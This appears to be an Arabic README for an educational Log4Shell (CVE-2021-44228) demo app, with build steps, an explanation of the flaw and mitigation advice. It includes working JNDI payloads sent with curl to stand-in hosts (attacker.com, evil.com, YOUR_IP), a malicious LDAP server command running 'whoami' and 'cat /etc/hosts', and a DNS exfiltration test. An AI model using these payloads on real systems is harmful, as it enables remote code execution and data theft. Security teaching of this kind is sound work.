
عرض توضيحي لـ CVE-2021-44228 Log4Shell.
هذا مشروع تجريبي لتعلم ودراسة ثغرة تنفيذ التعليمات البرمجية عن بُعد في Log4j2 (Log4Shell).
هذا المشروع مخصص لأغراض البحث والتعليم الأمني فقط، ولا يُستخدم في بيئات الإنتاج!
يستخدم هذا المشروع إصدار Log4j 2.14.1 الذي يحتوي على ثغرة أمنية خطيرة.
./mvnw clean package
./mvnw spring-boot:run
أو:
java -jar target/log4j2-bugmaker-0.0.1-SNAPSHOT.jar
افتح المتصفح واذهب إلى: http://localhost:8080
curl -H "User-Agent: \${jndi:ldap://attacker.com/a}" http://localhost:8080/api/log
curl "http://localhost:8080/api/search?query=\${jndi:ldap://attacker.com/a}"
curl http://localhost:8080/api/health
Log4Shell (CVE-2021-44228) هي ثغرة خطيرة في Apache Log4j2. عندما يسجل التطبيق مدخلات مستخدم تحتوي على سلسلة تنسيق خاصة، يقوم Log4j2 بتحليل تعبيرات بحث JNDI، ويمكن للمهاجم استغلال هذه الخاصية لتنفيذ تعليمات برمجية عن بُعد.
${jndi:ldap://evil.com/a}
${jndi:rmi://evil.com/a}
${jndi:dns://evil.com/a}
${java:version}
${java:os}
${env:PATH}
قم بترقية Log4j2 إلى الإصدار 2.17.1 أو أحدث:
<properties>
<log4j2.version>2.17.1</log4j2.version>
</properties>
-Dlog4j2.formatMsgNoLookups=true
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
# 1. تشغيل السكريبت الآلي
./setup-exploit-server.sh
# 2. اختر أداة JNDI-Injection-Exploit
# 3. أدخل الأمر المراد تنفيذه (مثل whoami أو cat /etc/hosts)
# 4. في محطة أخرى، أرسل حمولة الهجوم
# تشغيل خادم LDAP ضار
python3 simple-ldap-server.py "whoami"
# أو تنفيذ أوامر أخرى
python3 simple-ldap-server.py "cat /etc/hosts"
# في محطة أخرى، أرسل حمولة الهجوم
curl -H 'User-Agent: ${jndi:ldap://YOUR_IP:1389/Exploit}' http://localhost:8080/api/log
# تشغيل سكريبت اختبار تسرب DNS
./test-dns-exfiltration.sh
# اتبع التعليمات، ادخل إلى dnslog.cn للحصول على نطاق فرعي
# ثم تحقق من تلقي طلبات DNS
هذا المشروع مرخص بموجب رخصة MIT.
إعلان خاص: هذا المشروع مخصص لأغراض التعليم والبحث الأمني فقط، ويتحمل المستخدم كامل المخاطر الناتجة عن استخدامه.
يعد اختبار الاختراق على أنظمة الآخرين دون إذن أمرًا غير قانوني! هذا المشروع مخصص فقط لـ:
يرجى الالتزام بالقوانين واللوائح المحلية، واستخدام هذه المعرفة بمسؤولية.